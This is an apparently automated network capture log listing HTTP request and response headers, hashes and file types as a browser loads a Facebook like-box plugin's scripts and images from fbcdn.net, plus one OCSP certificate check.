HTTP/1.1 200 OK
Content-Type: application/x-javascript; charset=utf-8
                                        
Access-Control-Allow-Credentials: true
Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT
X-XSS-Protection: 0
Expires: Fri, 13 Dec 2019 13:25:44 GMT
Vary: Accept-Encoding
X-Content-Type-Options: nosniff
Content-Encoding: gzip
timing-allow-origin: *
Access-Control-Allow-Origin: *
Cache-Control: public,max-age=31536000,immutable
Content-MD5: f3XTXoePUjCbyvTl/1QHXA==
X-FB-Debug: 4BJsPw2AFnwZPwi1TiE9ROoMLVFK28OlCwXlQkpwRldR7cO9UVJeAzpdLk4IgaHAzwg25ZUcZxHu8sLXVkoC4g==
Date: Fri, 14 Dec 2018 22:07:56 GMT
Connection: keep-alive
Content-Length: 7840


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   7840
Md5:    7f75d35e878f52309bcaf4e5ff54075c
Sha1:   faabb3c660b9b92105aa3cb9b51a9f6341735378
Sha256: f6ed2daae72ab5a87d4f6b870a5c2dd9754a2643a4b74aa415d6bd46023e730b
                                        
                                            GET /rsrc.php/v3/y1/r/xwgjeTK_nh8.js HTTP/1.1 
Host: static.xx.fbcdn.net
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://www.facebook.com/plugins/like_box.php?app_id=&channel=https%3A%2F%2Fstaticxx.facebook.com%2Fconnect%2Fxd_arbiter%2Fr%2FLviKjJ9cymB.js%3Fversion%3D43%23cb%3Df5a3b5527da2f4%26domain%3Dtheforestsessions.com%26origin%3Dhttp%253A%252F%252Ftheforestsessions.com%252Ff58652f35fa844%26relation%3Dparent.parent&container_width=0&header=true&href=http%3A%2F%2Fwww.facebook.com%2Fredoolittle%2F&locale=en_US&sdk=joey&show_faces=true&stream=false&width=170

                                         
                                         31.13.72.12
HTTP/1.1 200 OK
Content-Type: application/x-javascript; charset=utf-8
                                        
Access-Control-Allow-Credentials: true
Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT
Expires: Sat, 14 Dec 2019 15:46:41 GMT
Vary: Accept-Encoding
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
Content-Encoding: gzip
content-security-policy: default-src * data: blob:;script-src *.facebook.com *.fbcdn.net *.facebook.net *.google-analytics.com *.virtualearth.net *.google.com 127.0.0.1:* *.spotilocal.com:* 'unsafe-inline' 'unsafe-eval' blob: data: 'self';style-src data: blob: 'unsafe-inline' *;connect-src *.facebook.com facebook.com *.fbcdn.net *.facebook.net *.spotilocal.com:* wss://*.facebook.com:* https://fb.scanandcleanlocal.com:* attachment.fbsbx.com ws://localhost:* blob: *.cdninstagram.com 'self' chrome-extension://boadgeojelhgndaghljhdicfkmllpafd chrome-extension://dliochdbjfkdbacpmhlcpmleaejidimm;
timing-allow-origin: *
Access-Control-Allow-Origin: *
Cache-Control: public,max-age=31536000,immutable
Content-MD5: 7Vzxs6A4A2zfe1H++LgPLQ==
X-FB-Debug: SzwKG8wQehErcBC2dnuliR/5yLGyz1uLNLgsIjUpxkuMpxnZhsnHgdteHtQ9gj7+6wDuVs2PMJcdXXmUxFae7w==
Date: Fri, 14 Dec 2018 22:07:56 GMT
Connection: keep-alive
Content-Length: 89945


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   89945
Md5:    ed5cf1b3a038036cdf7b51fef8b80f2d
Sha1:   eabf973bdac2c303c2d5be5a50115f333c384816
Sha256: ffae75ab2d61c3e8277eaf535d37b36f8eefda9afe670e5bf5167890dfd19580
                                        
                                            POST / HTTP/1.1 
Host: ocsp.digicert.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Content-Length: 115
Content-Type: application/ocsp-request

                                         
                                         93.184.220.29
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Accept-Ranges: bytes
Cache-Control: max-age=161645
Date: Fri, 14 Dec 2018 22:07:57 GMT
Etag: "5c13e64d-1d7"
Expires: Sun, 16 Dec 2018 19:02:02 GMT
Last-Modified: Fri, 14 Dec 2018 17:20:13 GMT
Server: ECS (ska/F705)
X-Cache: HIT
Content-Length: 471


--- Additional Info ---
Magic:  data
Size:   471
Md5:    fa896f387435d6d78a460b1d3c8d39a2
Sha1:   80d4414d4cc56fb4b0a244eef1abb9a69293bbc2
Sha256: 5d6fea4bd5d21dfa9e0276943e638ca2791dca2616f1f2ebc0a68b25ec31edae
                                        
                                            GET /rsrc.php/v3/y9/r/reEtT2idEeK.js HTTP/1.1 
Host: static.xx.fbcdn.net
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://www.facebook.com/plugins/like_box.php?app_id=&channel=https%3A%2F%2Fstaticxx.facebook.com%2Fconnect%2Fxd_arbiter%2Fr%2FLviKjJ9cymB.js%3Fversion%3D43%23cb%3Df5a3b5527da2f4%26domain%3Dtheforestsessions.com%26origin%3Dhttp%253A%252F%252Ftheforestsessions.com%252Ff58652f35fa844%26relation%3Dparent.parent&container_width=0&header=true&href=http%3A%2F%2Fwww.facebook.com%2Fredoolittle%2F&locale=en_US&sdk=joey&show_faces=true&stream=false&width=170

                                         
                                         31.13.72.12
HTTP/1.1 200 OK
Content-Type: application/x-javascript; charset=utf-8
                                        
Access-Control-Allow-Credentials: true
Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT
X-XSS-Protection: 0
Expires: Fri, 13 Dec 2019 16:54:13 GMT
Vary: Accept-Encoding
X-Content-Type-Options: nosniff
Content-Encoding: gzip
timing-allow-origin: *
Access-Control-Allow-Origin: *
Cache-Control: public,max-age=31536000,immutable
Content-MD5: oF1C7LPlXpyWXaTVL3d7yg==
X-FB-Debug: cS6u2jiQaTc+GrsSGuNw+oQXUy8Ev0qt47w1a7zrPVY/CTr/7WPiQ7uTcjXVihl8Iyo/B6ipip1aMkHljp5qRw==
Date: Fri, 14 Dec 2018 22:07:57 GMT
Connection: keep-alive
Content-Length: 28433


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   28433
Md5:    a05d42ecb3e55e9c965da4d52f777bca
Sha1:   f4f7f5f243d7507ee1ce7f63143d992318e45497
Sha256: 6683751095b22d98137128634e3acb49828fc60e5c8bd27c7e73d51c02d0a407
                                        
                                            GET /v/t1.0-0/p130x130/481609_413177452085259_1053611990_n.png?_nc_cat=102&_nc_ht=scontent.fosl1-1.fna&oh=203a45a80aca076b27605faf2f848d03&oe=5C90C4FB HTTP/1.1 
Host: scontent.fosl1-1.fna.fbcdn.net
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://www.facebook.com/plugins/like_box.php?app_id=&channel=https%3A%2F%2Fstaticxx.facebook.com%2Fconnect%2Fxd_arbiter%2Fr%2FLviKjJ9cymB.js%3Fversion%3D43%23cb%3Df5a3b5527da2f4%26domain%3Dtheforestsessions.com%26origin%3Dhttp%253A%252F%252Ftheforestsessions.com%252Ff58652f35fa844%26relation%3Dparent.parent&container_width=0&header=true&href=http%3A%2F%2Fwww.facebook.com%2Fredoolittle%2F&locale=en_US&sdk=joey&show_faces=true&stream=false&width=170

                                         
                                         213.52.81.145
HTTP/1.1 200 OK
Content-Type: image/png
                                        
Last-Modified: Sat, 08 Dec 2012 11:09:54 GMT
timing-allow-origin: *
Access-Control-Allow-Origin: *
Cache-Control: max-age=1209600, no-transform
Access-Control-Expose-Headers: X-FB-CEC-Video-Limit
Date: Fri, 14 Dec 2018 22:07:58 GMT
Connection: keep-alive
Content-Length: 6419


--- Additional Info ---
Magic:  PNG image, 351 x 130, 8-bit grayscale, non-interlaced
Size:   6419
Md5:    fb3fb7c60d144d78eec575d1004e8b59
Sha1:   ceb6ec5c3cde23ea20a442b0f806691723203fad
Sha256: 8d89460dcec6c53196f162392a8436a96164537c096e75382fac1f637a9320b2
                                        
                                            GET /rsrc.php/v3/yX/r/Kvo5FesWVKX.png HTTP/1.1 
Host: static.xx.fbcdn.net
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://static.xx.fbcdn.net/rsrc.php/v3/yc/l/0,cross/goZOoFtquE3.css

                                         
                                         31.13.72.12
HTTP/1.1 200 OK
Content-Type: image/png
                                        
Access-Control-Allow-Credentials: true
Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT
Expires: Sat, 14 Dec 2019 19:37:06 GMT
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
content-security-policy: default-src * data: blob:;script-src *.facebook.com *.fbcdn.net *.facebook.net *.google-analytics.com *.virtualearth.net *.google.com 127.0.0.1:* *.spotilocal.com:* 'unsafe-inline' 'unsafe-eval' blob: data: 'self';style-src data: blob: 'unsafe-inline' *;connect-src *.facebook.com facebook.com *.fbcdn.net *.facebook.net *.spotilocal.com:* wss://*.facebook.com:* https://fb.scanandcleanlocal.com:* attachment.fbsbx.com ws://localhost:* blob: *.cdninstagram.com 'self' chrome-extension://boadgeojelhgndaghljhdicfkmllpafd chrome-extension://dliochdbjfkdbacpmhlcpmleaejidimm;
timing-allow-origin: *
Access-Control-Allow-Origin: *
Content-MD5: zLXyst1HOZzsE8I5PJ2sIg==
Cache-Control: public,max-age=31536000,immutable
X-FB-Debug: odR5Pf6Z6juXAgW7Agvpd9L6PqBzot4p940KRxrcbNFd/3ke1bhqMlbVMGdcq+OyZ+nJT7iuhOa5yJ8ZJ+NQcw==
Date: Fri, 14 Dec 2018 22:07:58 GMT
Connection: keep-alive
Content-Length: 19050


--- Additional Info ---
Magic:  PNG image, 25 x 823, 8-bit/color RGBA, non-interlaced
Size:   19050
Md5:    ccb5f2b2dd47399cec13c2393c9dac22
Sha1:   5b9e7c19c7ee5b0c8955eb8b81aa853b038f4923
Sha256: 8f557eaac9fb5f4f5954e62f23dcb962e7175a735a1ba361c4f348dee45efc64
                                        
                                            GET /rsrc.php/v3irF74/yn/l/en_US/Vt14UFGyOXm.js HTTP/1.1 
Host: static.xx.fbcdn.net
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://www.facebook.com/plugins/like_box.php?app_id=&channel=https%3A%2F%2Fstaticxx.facebook.com%2Fconnect%2Fxd_arbiter%2Fr%2FLviKjJ9cymB.js%3Fversion%3D43%23cb%3Df5a3b5527da2f4%26domain%3Dtheforestsessions.com%26origin%3Dhttp%253A%252F%252Ftheforestsessions.com%252Ff58652f35fa844%26relation%3Dparent.parent&container_width=0&header=true&href=http%3A%2F%2Fwww.facebook.com%2Fredoolittle%2F&locale=en_US&sdk=joey&show_faces=true&stream=false&width=170

                                         
                                         31.13.72.12
HTTP/1.1 200 OK
Content-Type: application/x-javascript; charset=utf-8
                                        
Access-Control-Allow-Credentials: true
Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT
X-XSS-Protection: 0
Expires: Sat, 14 Dec 2019 14:27:44 GMT
Vary: Accept-Encoding
X-Content-Type-Options: nosniff
Content-Encoding: gzip
timing-allow-origin: *
Access-Control-Allow-Origin: *
Cache-Control: public,max-age=31536000,immutable
Content-MD5: iug1itYcTercm8jUvQOSIg==
X-FB-Debug: MBc+4rrKLXvQwksC365OxWt1ZTwL/ySrQL6uYjO2QIEBUCG5RouecTT4qm33LD0TzvjeuZfZRrGZa8pdK+AYoA==
Date: Fri, 14 Dec 2018 22:07:58 GMT
Connection: keep-alive
Content-Length: 6952


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   6952
Md5:    8ae8358ad61c4deadc9bc8d4bd039222
Sha1:   c82baaf31af3ec385a35698708c4dabe3385b5cc
Sha256: c6f9dd06cbf09dea393541f41ea2fda9f02d5d676e6f8a4e557862fe64c088f6
                                        
                                            GET /rsrc.php/v3/yA/r/rJO_n_0DkoP.js HTTP/1.1 
Host: static.xx.fbcdn.net
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://www.facebook.com/plugins/like_box.php?app_id=&channel=https%3A%2F%2Fstaticxx.facebook.com%2Fconnect%2Fxd_arbiter%2Fr%2FLviKjJ9cymB.js%3Fversion%3D43%23cb%3Df5a3b5527da2f4%26domain%3Dtheforestsessions.com%26origin%3Dhttp%253A%252F%252Ftheforestsessions.com%252Ff58652f35fa844%26relation%3Dparent.parent&container_width=0&header=true&href=http%3A%2F%2Fwww.facebook.com%2Fredoolittle%2F&locale=en_US&sdk=joey&show_faces=true&stream=false&width=170

                                         
                                         31.13.72.12
HTTP/1.1 200 OK
Content-Type: application/x-javascript; charset=utf-8
                                        
Access-Control-Allow-Credentials: true
Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT
Expires: Fri, 13 Dec 2019 15:07:54 GMT
Vary: Accept-Encoding
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
Content-Encoding: gzip
content-security-policy: default-src * data: blob:;script-src *.facebook.com *.fbcdn.net *.facebook.net *.google-analytics.com *.virtualearth.net *.google.com 127.0.0.1:* *.spotilocal.com:* 'unsafe-inline' 'unsafe-eval' blob: data: 'self';style-src data: blob: 'unsafe-inline' *;connect-src *.facebook.com facebook.com *.fbcdn.net *.facebook.net *.spotilocal.com:* wss://*.facebook.com:* https://fb.scanandcleanlocal.com:* attachment.fbsbx.com ws://localhost:* blob: *.cdninstagram.com 'self' chrome-extension://boadgeojelhgndaghljhdicfkmllpafd chrome-extension://dliochdbjfkdbacpmhlcpmleaejidimm;
timing-allow-origin: *
Access-Control-Allow-Origin: *
Cache-Control: public,max-age=31536000,immutable
Content-MD5: YZYBKeLbEa7xBvr67QJQUw==
X-FB-Debug: hQcYL1TckqrflGwN3UjwxtO9x9HB8KOXMeXQqzAvjOu8PJHV9NQ+pvM7Rm8rx/LmTkP3x1BUBungQXZoocvleQ==
Date: Fri, 14 Dec 2018 22:07:58 GMT
Connection: keep-alive
Content-Length: 9017


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   9017
Md5:    61960129e2db11aef106fafaed025053
Sha1:   fb751f90c80ed68dafe08d635d1f96619dd527c5
Sha256: 33dad4f36f68a683ff01128a7339c26b28bc695a12dc5b185e53b9f3dc2c3d54
                                        
                                            GET /rsrc.php/v3/y-/r/tx33lnMxxOM.js HTTP/1.1 
Host: static.xx.fbcdn.net
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://www.facebook.com/plugins/like_box.php?app_id=&channel=https%3A%2F%2Fstaticxx.facebook.com%2Fconnect%2Fxd_arbiter%2Fr%2FLviKjJ9cymB.js%3Fversion%3D43%23cb%3Df5a3b5527da2f4%26domain%3Dtheforestsessions.com%26origin%3Dhttp%253A%252F%252Ftheforestsessions.com%252Ff58652f35fa844%26relation%3Dparent.parent&container_width=0&header=true&href=http%3A%2F%2Fwww.facebook.com%2Fredoolittle%2F&locale=en_US&sdk=joey&show_faces=true&stream=false&width=170

                                         
                                         31.13.72.12
HTTP/1.1 200 OK
Content-Type: application/x-javascript; charset=utf-8
                                        
Access-Control-Allow-Credentials: true
Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT
X-XSS-Protection: 0
Expires: Fri, 13 Dec 2019 19:39:37 GMT
Vary: Accept-Encoding
X-Content-Type-Options: nosniff
Content-Encoding: gzip
timing-allow-origin: *
Access-Control-Allow-Origin: *
Cache-Control: public,max-age=31536000,immutable
Content-MD5: bCwMaUn2GXkuCgkKuMpXXw==
X-FB-Debug: rrxteotay9fPSmQfy4QEjNKOyjQhmfGOHSSyPcQnHR0oXqbCLRIlrOGaeqIp2eklEKcjIhTrIB5bUT9Ptczo8A==
Date: Fri, 14 Dec 2018 22:07:58 GMT
Connection: keep-alive
Content-Length: 570


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   570
Md5:    6c2c0c6949f619792e0a090ab8ca575f
Sha1:   ec7a1adc39d76c68d6bd0c43bed7ddbe95361ae5
Sha256: 1b9cadead715224a972cf9b36f04036cebc21a90b39aa109aa12b9abd46ee269
                                        
                                            GET /rsrc.php/v3/yY/r/TKlxK_t2Mdx.js HTTP/1.1 
Host: static.xx.fbcdn.net
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://www.facebook.com/plugins/like_box.php?app_id=&channel=https%3A%2F%2Fstaticxx.facebook.com%2Fconnect%2Fxd_arbiter%2Fr%2FLviKjJ9cymB.js%3Fversion%3D43%23cb%3Df5a3b5527da2f4%26domain%3Dtheforestsessions.com%26origin%3Dhttp%253A%252F%252Ftheforestsessions.com%252Ff58652f35fa844%26relation%3Dparent.parent&container_width=0&header=true&href=http%3A%2F%2Fwww.facebook.com%2Fredoolittle%2F&locale=en_US&sdk=joey&show_faces=true&stream=false&width=170

                                         
                                         31.13.72.12
HTTP/1.1 200 OK
Content-Type: application/x-javascript; charset=utf-8
                                        
Access-Control-Allow-Credentials: true
Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT
Expires: Fri, 13 Dec 2019 19:39:38 GMT
Vary: Accept-Encoding
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
Content-Encoding: gzip
content-security-policy: default-src * data: blob:;script-src *.facebook.com *.fbcdn.net *.facebook.net *.google-analytics.com *.virtualearth.net *.google.com 127.0.0.1:* *.spotilocal.com:* 'unsafe-inline' 'unsafe-eval' blob: data: 'self';style-src data: blob: 'unsafe-inline' *;connect-src *.facebook.com facebook.com *.fbcdn.net *.facebook.net *.spotilocal.com:* wss://*.facebook.com:* https://fb.scanandcleanlocal.com:* attachment.fbsbx.com ws://localhost:* blob: *.cdninstagram.com 'self';
timing-allow-origin: *
Access-Control-Allow-Origin: *
Cache-Control: public,max-age=31536000,immutable
Content-MD5: Es5COeFCJ2FnTpP6DH4jqw==
X-FB-Debug: NMX9lk3Wszlabeqp4Cg0BBda8Ra7fJeKm73b9GuaGstiPRSdqPW+EQ9chvYB6EgF6CDuFRa2vB7GWhWjq/yRzg==
Date: Fri, 14 Dec 2018 22:07:58 GMT
Connection: keep-alive
Content-Length: 7714


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   7714
Md5:    12ce4239e1422761674e93fa0c7e23ab
Sha1:   0cd6efee7d308964e467647d9e3ca05ffc26ad53
Sha256: d5e8e849731fadae9e705a2a0da7051bc6135f12404307a72cbb5f59a53b2700
                                        
                                            GET /rsrc.php/v3iLl54/y_/l/en_US/9QZ53LOQL3V.js HTTP/1.1 
Host: static.xx.fbcdn.net
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://www.facebook.com/plugins/like_box.php?app_id=&channel=https%3A%2F%2Fstaticxx.facebook.com%2Fconnect%2Fxd_arbiter%2Fr%2FLviKjJ9cymB.js%3Fversion%3D43%23cb%3Df5a3b5527da2f4%26domain%3Dtheforestsessions.com%26origin%3Dhttp%253A%252F%252Ftheforestsessions.com%252Ff58652f35fa844%26relation%3Dparent.parent&container_width=0&header=true&href=http%3A%2F%2Fwww.facebook.com%2Fredoolittle%2F&locale=en_US&sdk=joey&show_faces=true&stream=false&width=170

                                         
                                         31.13.72.12
HTTP/1.1 200 OK
Content-Type: application/x-javascript; charset=utf-8
                                        
Access-Control-Allow-Credentials: true
Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT
Expires: Fri, 13 Dec 2019 13:26:54 GMT
Vary: Accept-Encoding
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
Content-Encoding: gzip
content-security-policy: default-src * data: blob:;script-src *.facebook.com *.fbcdn.net *.facebook.net *.google-analytics.com *.virtualearth.net *.google.com 127.0.0.1:* *.spotilocal.com:* 'unsafe-inline' 'unsafe-eval' blob: data: 'self';style-src data: blob: 'unsafe-inline' *;connect-src *.facebook.com facebook.com *.fbcdn.net *.facebook.net *.spotilocal.com:* wss://*.facebook.com:* https://fb.scanandcleanlocal.com:* attachment.fbsbx.com ws://localhost:* blob: *.cdninstagram.com 'self' chrome-extension://boadgeojelhgndaghljhdicfkmllpafd chrome-extension://dliochdbjfkdbacpmhlcpmleaejidimm;
timing-allow-origin: *
Access-Control-Allow-Origin: *
Cache-Control: public,max-age=31536000,immutable
Content-MD5: Hp8bnCOxTeDbGavNDUXc+A==
X-FB-Debug: GrpDwKnFTOwA7NDmU7ZbmRtqPFRHO9KSf0xUTBGYo6QZFwSY61eXYru2YV0OqNKBWw0vWyhImmkig7j7V1NTPw==
Date: Fri, 14 Dec 2018 22:07:58 GMT
Connection: keep-alive
Content-Length: 4201


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   4201
Md5:    1e9f1b9c23b14de0db19abcd0d45dcf8
Sha1:   c7249a88e01d1e9a9eeb2b62f4f8086685c3bb8f
Sha256: 1362d8db13061731dfd1f3ab0ce25fbdea658631bd3d6a4cd88d3ab35c8dff80
                                        
                                            GET /rsrc.php/v3/yR/r/KAZzBe2zGNM.js HTTP/1.1 
Host: static.xx.fbcdn.net
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://www.facebook.com/plugins/like_box.php?app_id=&channel=https%3A%2F%2Fstaticxx.facebook.com%2Fconnect%2Fxd_arbiter%2Fr%2FLviKjJ9cymB.js%3Fversion%3D43%23cb%3Df5a3b5527da2f4%26domain%3Dtheforestsessions.com%26origin%3Dhttp%253A%252F%252Ftheforestsessions.com%252Ff58652f35fa844%26relation%3Dparent.parent&container_width=0&header=true&href=http%3A%2F%2Fwww.facebook.com%2Fredoolittle%2F&locale=en_US&sdk=joey&show_faces=true&stream=false&width=170

                                         
                                         31.13.72.12
HTTP/1.1 200 OK
Content-Type: application/x-javascript; charset=utf-8
                                        
Access-Control-Allow-Credentials: true
Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT
X-XSS-Protection: 0
Expires: Sat, 14 Dec 2019 12:42:38 GMT
Vary: Accept-Encoding
X-Content-Type-Options: nosniff
Content-Encoding: gzip
timing-allow-origin: *
Access-Control-Allow-Origin: *
Cache-Control: public,max-age=31536000,immutable
Content-MD5: PTxll2Irfx6QU5QqERkWBg==
X-FB-Debug: wM99K4TXe9dlyox0NlhdlOMeMonYdp4l3ZmO0Zdk4gbJ2upPJl3EYSBWM+/SeBVubiF994O4xpWlQVMCX+ZP1w==
Date: Fri, 14 Dec 2018 22:07:58 GMT
Connection: keep-alive
Content-Length: 3162


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   3162
Md5:    3d3c6597622b7f1e9053942a11191606
Sha1:   8aab68362060c27b19ea93842b1344a0ff0881eb
Sha256: 603845260e4db02bb1d7d62f8e43f31c266c511f7a9976ae218d5745d6b7e13b
                                        
                                            GET /rsrc.php/v3/y1/r/2FqYCz6-cN7.js HTTP/1.1 
Host: static.xx.fbcdn.net
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://www.facebook.com/plugins/like_box.php?app_id=&channel=https%3A%2F%2Fstaticxx.facebook.com%2Fconnect%2Fxd_arbiter%2Fr%2FLviKjJ9cymB.js%3Fversion%3D43%23cb%3Df5a3b5527da2f4%26domain%3Dtheforestsessions.com%26origin%3Dhttp%253A%252F%252Ftheforestsessions.com%252Ff58652f35fa844%26relation%3Dparent.parent&container_width=0&header=true&href=http%3A%2F%2Fwww.facebook.com%2Fredoolittle%2F&locale=en_US&sdk=joey&show_faces=true&stream=false&width=170

                                         
                                         31.13.72.12
HTTP/1.1 200 OK
Content-Type: application/x-javascript; charset=utf-8
                                        
Access-Control-Allow-Credentials: true
Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT
X-XSS-Protection: 0
Expires: Tue, 10 Dec 2019 14:46:39 GMT
Vary: Accept-Encoding
X-Content-Type-Options: nosniff
Content-Encoding: gzip
timing-allow-origin: *
Access-Control-Allow-Origin: *
Cache-Control: public,max-age=31536000,immutable
Content-MD5: VfNUy1sL9yN26KxA/0Eb/g==
X-FB-Debug: 3sV4SeWcNHKR8c93XjniZQZz/nuGuxDQlm7RLzYiU4tkIMjohR5zaTImYq4TKQolUALF3PlXUWSFVIt1ykcgQw==
Date: Fri, 14 Dec 2018 22:07:58 GMT
Connection: keep-alive
Content-Length: 1408


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   1408
Md5:    55f354cb5b0bf72376e8ac40ff411bfe
Sha1:   6fc3ac2c4623ec6511a80d222f5b45e8a3b6c6f5
Sha256: 475a8b88ef3ec95c939d6fae87bf8a1e129721bcfacce443698bbcdb0aa2746f
                                        
                                            GET /rsrc.php/v3iEpO4/y6/l/en_US/SOSw7zu9FeO.js HTTP/1.1 
Host: static.xx.fbcdn.net
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://www.facebook.com/plugins/like_box.php?app_id=&channel=https%3A%2F%2Fstaticxx.facebook.com%2Fconnect%2Fxd_arbiter%2Fr%2FLviKjJ9cymB.js%3Fversion%3D43%23cb%3Df5a3b5527da2f4%26domain%3Dtheforestsessions.com%26origin%3Dhttp%253A%252F%252Ftheforestsessions.com%252Ff58652f35fa844%26relation%3Dparent.parent&container_width=0&header=true&href=http%3A%2F%2Fwww.facebook.com%2Fredoolittle%2F&locale=en_US&sdk=joey&show_faces=true&stream=false&width=170

                                         
                                         31.13.72.12
HTTP/1.1 200 OK
Content-Type: application/x-javascript; charset=utf-8
                                        
Access-Control-Allow-Credentials: true
Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT
Expires: Sat, 14 Dec 2019 19:37:16 GMT
Vary: Accept-Encoding
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
Content-Encoding: gzip
content-security-policy: default-src * data: blob:;script-src *.facebook.com *.fbcdn.net *.facebook.net *.google-analytics.com *.virtualearth.net *.google.com 127.0.0.1:* *.spotilocal.com:* 'unsafe-inline' 'unsafe-eval' blob: data: 'self';style-src data: blob: 'unsafe-inline' *;connect-src *.facebook.com facebook.com *.fbcdn.net *.facebook.net *.spotilocal.com:* wss://*.facebook.com:* https://fb.scanandcleanlocal.com:* attachment.fbsbx.com ws://localhost:* blob: *.cdninstagram.com 'self';
timing-allow-origin: *
Access-Control-Allow-Origin: *
Cache-Control: public,max-age=31536000,immutable
Content-MD5: ZMMezVqidofngQ8tRCmeHQ==
